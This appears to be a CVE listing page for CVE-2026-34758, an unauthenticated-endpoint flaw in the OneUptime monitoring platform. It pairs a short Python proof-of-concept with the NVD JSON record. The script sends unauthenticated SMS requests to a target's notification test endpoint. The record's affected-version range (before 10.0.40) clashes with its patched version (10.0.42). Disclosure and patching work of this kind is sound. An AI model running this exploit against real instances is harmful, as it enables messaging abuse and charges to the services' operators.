CVE-2026-34758

import requests # Target configuration target_url = "http://vulnerable-instance.com/api/v1/notification/test" # Payload data for abuse payload = { "type": "sms", "phoneNumber": "+1234567890", "message": "Security Alert: Unauthorized Access Test" } try: # Send request without authentication headers response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed or endpoint patched.") print(f"[-] Status Code: {response.status_code}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-34758", "sourceIdentifier": "[email protected]", "published": "2026-04-02T19:21:33.670", "lastModified": "2026-04-03T19:52:26.097", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OneUptime is an open-source monitoring and observability platform. Prior to version 10.0.42, unauthenticated access to Notification test and Phone Number management endpoints allows SMS/Call/Email/WhatsApp abuse and phone number purchase. This issue has been patched in version 10.0.42."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hackerbay:oneuptime:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.40", "matchCriteriaId": "C6DF2447-080C-4EB9-AA6C-4486A22088FA"}]}]}], "references": [{"url": "https://github.com/OneUptime/oneuptime/commit/9adbd04538714740506708d6fa610e433be4d2a4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OneUptime/oneuptime/releases/tag/10.0.42", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-q253-6wcm-h8hp", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-q253-6wcm-h8hp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}